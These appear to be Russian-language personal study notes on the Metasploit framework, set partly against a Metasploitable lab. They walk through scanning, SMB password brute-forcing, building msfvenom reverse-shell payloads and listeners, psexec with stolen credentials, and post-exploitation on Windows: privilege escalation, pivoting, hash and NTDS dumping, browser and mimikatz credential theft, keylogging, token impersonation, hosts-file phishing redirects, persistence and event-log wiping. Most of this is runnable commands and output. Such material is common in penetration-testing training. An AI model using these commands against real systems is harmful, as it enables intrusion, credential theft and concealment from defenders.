# Metasploit 1. Загружаем полезную нагрузку 2. Запускаем листенер 3. Используем эксплойт / эксплуатация и постэкспуатация машина metasploitable login: vagrant password: vagrant **Установка** метасплойт apt install metasploit-framework в Ubuntu, то его можно установить из официального репозитория. Для этого набери в консоли следующие директивы: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-fram sudo chmod 755 msfinstall sudo ./msfinstall **База данных Metasploit** Metasploit может сам сохранять и удобно формализовать полученную информацию благодаря модулю msfdb. Для работы с базами необходимо запустить службу postgresql и создать базу для Metasploit. service postgresql start msfdb init db_status - Проверить подключение к базе данных можно из самого фреймворка. Чтобы было удобней работать с различными областями (хостами, сетями или доменами) и разделять данные для структуризации, msfdb имеет поддержку так называемого **рабочего пространства**. Давай добавим новое пространство в наш проект. > workspace -a xakep workspace -a test1 - cоздание рабочего пространства сканируем хост и записываем в базу данных db_nmap -Pn (не пинговать) -A(агрессивный скан) -O(версия операционки) -sV(кидает стандартные скрипты на машину) 192.168.52.130 ![Uploading file..._ru4kuhb9a]() Сканируем сеть > db_nmap -O 192.168.6.0/24 db_nmap -Pn -A -O -sV ip services - посмотреть все сервисы services 192.168.0.0 - показывает сервисы IP ![](https://i.imgur.com/2QqjcfZ.png) hosts - показывает список хостов которые отксанировали db_status ![](https://i.imgur.com/ospmaSi.png) db_import и путь к xml ![](https://i.imgur.com/lboSPSk.jpg) ![](https://i.imgur.com/rTY6aWG.png) ``` #!/bin/bash target_ip=$1 echo "Scanning: $target_ip, please wait this might take a while.." ports=$(nmap -p- -Pn --min-rate=500 $target_ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -sC $target_ip -Pn -oA nmap_scan_results_$target_ip ``` **USING THE DATABASE IN METASPLOIT**https://www.offensive-security.com/metasploit-unleashed/using-databases/ msql - мы нашли соль (рандомное значение добавляемое к хэшу) ![](https://i.imgur.com/1DEn6CP.jpg) hosts -h показывыет какие команды отрабатывают хосты hosts - показывает какие хосты подключены hosts -c mac - показывает мак адреса hosts -i __.__.__.__ hosts -F linux hosts -S Windows use exploit/multi/handler https://hackmd.io/@N0y8SsX2TN-aKTUtG8XT-g/ryZpBJv0K#Урок-№4-METASPLOIT-Поиск-и-эксплуатация-уязвимостей ![Uploading file..._onsuxheq4]() ![](https://i.imgur.com/mNXtG7E.jpg) как вошли в эксплойт - пишем options ![](https://i.imgur.com/4J3uFQl.png) ![](https://i.imgur.com/Ag07qxR.png) Глобальная установка **RHOST** на сессию setg rhost IP ![](https://i.imgur.com/4PdAlhM.png) use exploit/multi/handler options set lhost eth0 ![](https://i.imgur.com/WkoguHa.png) set exitonsession false - если это не сделаем то хэндлер умирает, когда получает сессию он продолжает висеть run -j ![](https://i.imgur.com/nVDUB2i.png) jobs - список рабочих процессов ![Uploading file..._f5ajrxblj]() job -k 0 (убиваем рабочий процесс под номером 0) ![](https://i.imgur.com/XwIUF32.png) **Chocolatey** — менеджер пакетов в среде Windows по аналогии с apt-get в Linux Мире. https://habr.com/ru/post/143996/ https://drive.google.com/file/d/1Sq0NfPO3J9RMNzRjScJWlOlmX7KPDqvx/view ! прорешать pivot атака от Исраэля Полный список перебираемой информации для коллекционирования учетных данных можно получить следующей командой: > search type auxiliary/scanner -S "_login" Чтобы узнать, для чего именно предназначен определенный модуль и его описание (со ссылкой на cvedetails), а также посмотреть данные, которые нужно передать в качестве параметров, следует воспользоваться командой info. info auxiliary/scanner/smb/smb_login Bыберем этот модуль, зададим название домена, имя пользователя, интересующий нас хост и список паролей. ``` msf5 > use auxiliary/scanner/smb/smb_login msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.6.129 msf5 auxiliary(scanner/smb/smb_login) > set SMBUser root msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/ralf/tmp/pass.txt msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain DOMAIN msf5 auxiliary(scanner/smb/smb_login) > run ``` ![](https://i.imgur.com/dNNb0qb.png) Использование msfdb позволяет не тратить время на коллекционирование всех обнаруженных логинов, хешей, паролей, так как они автоматически остаются в хранилище учетных данных, посмотреть которое можно командой **creds**. # Получение точки опоры **Полезная нагрузка** Одна и та же полезная нагрузка может работать как в режиме ожидания подключения (**bind**), так и в режиме **reverse** (для бэкконнекта от целевого хоста). Стоит учитывать, что чем легче нагрузка, тем больше ее надежность и стабильность. Так, обычный шелл может быть создан с помощью AWK, jjs, Lua, Netcat, Node.js, Perl, R, Ruby, socat, stub, zsh, ksh, Python, PHP, PowerShell. Чтобы найти нагрузку для определенного случая, используем команду **search**. search payload/ В большинстве случаев используется загрузчик в одном из следующих форматов: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war. Для работы с пейлоадами в составе фреймворка имеется свой модуль — msfvenom. Для примера создадим нагрузку meterpreter типа reverse, работающую по протоколу TCP для операционной системы Windows windows/x64/meterpreter/reverse_tcp Главными параметрами для этой полезной нагрузки будут LHOST и LPORT — адрес и порт нашего сервера для бэкконнекта. Создадим нагрузку в формате *.exe. msfvenom -p [пейлоад] [параметры пейлоада] -f [формат] -o [итоговый файл] ![](https://i.imgur.com/IThZ7re.png) Исполняемый файл с нагрузкой готов. **Листенер** За создание листенера отвечает модуль exploit/multi/handler. Этому модулю нужно указать только целевой пейлоад, с которым он будет взаимодействовать, и параметры этого пейлоада. ``` > use exploit/multi/handler > set payload windows/x64/meterpreter/reverse_tcp > set LHOST 192.168.6.1 > set LPORT 4321 > run ``` ![](https://i.imgur.com/52r2QEE.png) Есть быстрый способ создать такой листенер — команда укладывается в одну строку. handler -p [пейлоад] -H [хост] -P [порт] И теперь наша задача сделать так, чтобы файл с нагрузкой был выполнен на целевом хосте. **Эксплоиты** Конечно, если нам удается обнаружить уязвимые службы и для них есть эксплоиты в Metasploit, они тоже идут в дело, но такое случается редко. В следующих разделах мы чуть подробнее разберем именно нагрузку meterpreter, так как легкие нагрузки обеспечивают доступ к обычному шеллу, а vncinject просто открывает удаленный рабочий стол. Для модуля psexec укажем полученные учетные данные, адрес целевого хоста и тип нагрузки с необходимыми параметрами. ``` > use exploit/windows/smb/psexec > set payload windows/x64/meterpreter/reverse_tcp > set LHOST 192.168.6.1 > set LPORT 9876 > set RHOSTS 192.168.6.129 > set SMBUser root > set SMBPass 1q2w#E$R > set SMBDomain domain.dom > run ``` # Эксплуатация и постэксплуатация **Windows** **База meterpreter** Теперь я расскажу о модулях, которые мы используем, когда у нас уже имеется сессия meterpreter. Как и во множестве других фреймворков, в Metasploit присутствуют полезные команды для загрузки файлов download и upload. Для стабильности мы можем перенести нашу сессию в другой процесс на хосте с помощью команды migrate. Эта команда принимает один параметр — PID целевого процесса, получить который можно из списка процессов (с помощью команды ps). ![](https://i.imgur.com/sUUxQGV.png) Мигрирование в другой процесс Также мы можем **создавать свои процессы**. Для этого нужно указать лишь файл (-f) и при желании включить интерактивный (-i) или скрытый (-H) режимы. execute -f cmd.exe -i -H ![](https://i.imgur.com/uxlkUwn.png) Создание скрытого процесса cmd.exe Кстати, проблема кодировки решается с помощью команды cp 65001. Опция, используемая почти всегда, — переход в контекст SYSTEM. Для этого нужно просто выполнить команду **getsystem** Очень полезна функция поиска файлов, если тебе нужно найти на удаленной машине документы или архивы. ![](https://i.imgur.com/cOIjgMb.png) Поиск всех файлов TXT Еще можно выполнить на взломанном хосте команду PowerShell или Python, а также загрузить PS1-файл или скрипт на Python в память. Для этого сначала запусти нужные модули, а потом выбери соответствующую команду. ![](https://i.imgur.com/IRIMtWX.png) **ТУННЕЛИ** Одна из самых крутых возможностей Metasploit — создание туннелей. Мы можем использовать захваченный хост как мост между внешней и внутренней сетью. Обычно сначала проверяют, есть ли дополнительные сетевые интерфейсы. > ifconfig Для обнаружения хостов мы можем посмотреть таблицу ARP. > arp Теперь нам необходимо построить туннель. Сначала создадим маршрут и проверим его с помощью autoroute. ![](https://i.imgur.com/oz2Xnax.png) > run autoroute -s 10.0.0.0/24 Создание маршрута > run autoroute -p Список созданных маршрутов Теперь отправим сессию в фоновый режим, тем самым перейдя из оболочки meterpreter в оболочку msf. > **background** На следующем этапе нам нужно **настроить SOCKS-прокси-сервер**. За это отвечает модуль auxiliary/server/socks4a. В качестве параметров он принимает хост и порт (по умолчанию — localhost:1080). > use auxiliary/server/socks4a > run Чтобы вернуться обратно в оболочку meterpreter, можно воспользоваться командой sessions и указать номер сессии. ![](https://i.imgur.com/hXOmA7I.png) переход в фоновый режим В качестве редиректора мы можем использовать ProxyChains. Для этого укажем адрес созданного нами прокси-сервера в файле конфигурации /etc/proxychains.conf. ![](https://i.imgur.com/5yIexQO.png) Теперь **просканируем** с помощью Nmap и созданного туннеля найденный в ARP-таблице хост. proxychains -q nmap 10.0.0.5 **СБОР УЧЕТНЫХ ДАННЫХ** Сбор паролей и хешей — неотъемлемая часть любой атаки, и Metasploit позволяет это делать легко и непринужденно. Первый метод — воспользоваться командой hashdump, которая собирает хеши из файла SAM. ![](https://i.imgur.com/uEfn4sl.png) Если мы имеем доступ к контроллеру домена, то можем очень легко сдампить файл NTDS.DIT > use post/windows/gather/ntds_grabber > set SESSION 5 > run ![](https://i.imgur.com/k0tRUPt.png) При этом мы можем получать пароли из групповой политики и MS SQL благодаря модулям post/windows/gather/credentials/gpp, а также сохраненные пароли Skype, TeamViewer и Outlook (post/windows/gather/credentials/outlook, post/windows/gather/credentials/skype, post/windows/gather/credentials/teamviewer_passwords). Ну и конечно же, я не могу оставить без внимания браузеры, из которых мы получаем не только учетные данные, но еще и файлы куки, и историю просмотра веб-страниц. > use post/windows/gather/enum_chrome > set session 5 > run ![](https://i.imgur.com/x9Pu9cP.png) Получение данных из браузера Все эти файлы сохранятся в базе msfdb, и к ним всегда можно получить доступ, выполнив команду **loot**. На самом деле файлы не текстовые. Они представляют собой базу данных SQLite, но вот сохраненные пароли мы находим без особого труда. ![](https://i.imgur.com/BJ4zcgS.png) И завершим раздел про учетные данные, упомянув интеграцию Metasploit с mimikatz. Для этого загрузим соответствующий модуль. ![](https://i.imgur.com/dgcNJxu.png) Загрузка модуля KIWI и mimikatz В Metasploit интегрированы следующие **модули mimikatz**, которые можно использовать по мере необходимости. ![](https://i.imgur.com/ENDlCAo.png) **РАЗВЕДКА** Команд для этой цели имеется великое множество, их можно найти по пути post/windows/gather/. В первую очередь нас интересует получение списка пользователей домена (**enum_ad_users**), всех групп (**enum_ad_groups**), зарегистрированных в домене компьютеров (**enum_ad_computers**), а также общих ресурсов (**enum_shares**). К более масштабным методам разведки в домене я отнесу модуль **post/windows/gather/bloodhound**, использующий одноименный инструмент. Иногда для поиска вектора LPE необходимо изучить установленное на удаленных машинах ПО. Metasploit способен облегчить и эту задачу. ![](https://i.imgur.com/B8mEJh7.png) Список установленного ПО Не мешает лишний раз проверить наличие каких-нибудь CVE для повышения привилегий. За их перечисление отвечает модуль post/multi/recon/local_exploit_suggester. Вот пример найденной этим модулем уязвимости. ![](https://i.imgur.com/mNVSsxl.png) Проверка LPE-эксплоитов Иногда полезно собирать и анализировать трафик. Сначала нам нужно загрузить модуль sniffer и изучить доступные сетевые интерфейсы. ![](https://i.imgur.com/eqx65J3.png) Загрузка модуля sniffer Теперь следует активировать сниффер на определенном интерфейсе и указать файл, в который мы будем собирать трафик. После окончания сбора данных нужно будет завершить процесс прослушивания интерфейса. ![](https://i.imgur.com/T1rtWao.png) Запись трафика И не оставим без внимания возможности кейлоггера. Команды start, dump и stop аналогичны уже рассмотренным выше. ![](https://i.imgur.com/HBDk2fk.png) Запись нажатия клавиш **ОБЕСПЕЧЕНИЕ ДОСТУПА** Для обеспечения доступа в Metasploit предусмотрено множество крутых инструментов. Начнем с **токенов доступа**, которые позволяют нам выдать себя за других пользователей. Для начала загрузим модуль incognito и посмотрим, какие токены есть в системе. > load incognito > list_tokens -u ![](https://i.imgur.com/1WJTIJ7.png) Загрузка модуля incognito Судя по результатам обработки команды, мы можем войти в контекст пользователя MediaAdmin$. Давай сделаем это. impersonate_token DOMAIN\\MediaAdmin$ ![](https://i.imgur.com/8v8VIto.png) И вот мы уже работаем от его имени! Выполнением программ на C# в памяти уже никого не удивить, поэтому скажу лишь, что это делается с помощью post/windows/manage/execute_dotnet_assembly. Если мы заметим, что пользователь часто обращается к какому-то сайту по доменному имени, мы можем сделать **копию страницы авторизации** этого сайта и подменить его адрес в файле hosts. run hostsedit -e 192.168.6.1,www.microsoft.com Таким образом пользователь при обращении к www.microsoft.com будет попадать на **наш сервер**. При необходимости можно быстро установить на хост Python или SSH-сервер, для чего нам понадобятся следующие модули: post/windows/manage/install_python и post/windows/manage/install_ssh. ![](https://i.imgur.com/Atcw3Oi.png) Быстрая установка Python и SSH на целевой хост Так же как и в Empire, мы можем включить RDP и изменить настройки файрвола с помощью модуля post/windows/manage/enable_rdp. Включение RDP на целевом хосте Не секрет, что, если в момент атаки компьютер будет перезагружен, мы потеряем текущую сессию, поэтому важно на всякий случай закрепиться в системе. Тут все просто: можно использовать любой метод, который тебе по нраву (мы юзаем опцию -S). ![](https://i.imgur.com/XORIXMN.png) Модуль сохранения доступа Закрепление в системе Напоследок нужно зачистить следы. Наша команда использует для этого возможности модуля clearev. ![](https://i.imgur.com/GCBMoa4.png) Очистка логов в журналах событий и безопасности set exitonsession false - листенер не будет отключатся run -j ![](https://i.imgur.com/s7hpYks.png) msf6 payload(windows/meterpreter/reverse_tcp) > generate -f exe -o /var/www/html/payload.exe [*] Writing 73802 bytes to /var/www/html/payload.exe... msf6 payload(windows/meterpreter/reverse_tcp) > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp keyboard_send text отправляет в консоль атакуемой машины getenv userprofile можем узнать переменную юзер профайл ![](https://i.imgur.com/qkSidP9.png) ![](https://i.imgur.com/uK9iPhp.png) ![](https://i.imgur.com/DkvWVqU.jpg) getpid - узнать номер процесса getpriv - посмотреть привилегии ![](https://i.imgur.com/MXwGtej.png) ps - список процессов sessions -i (id)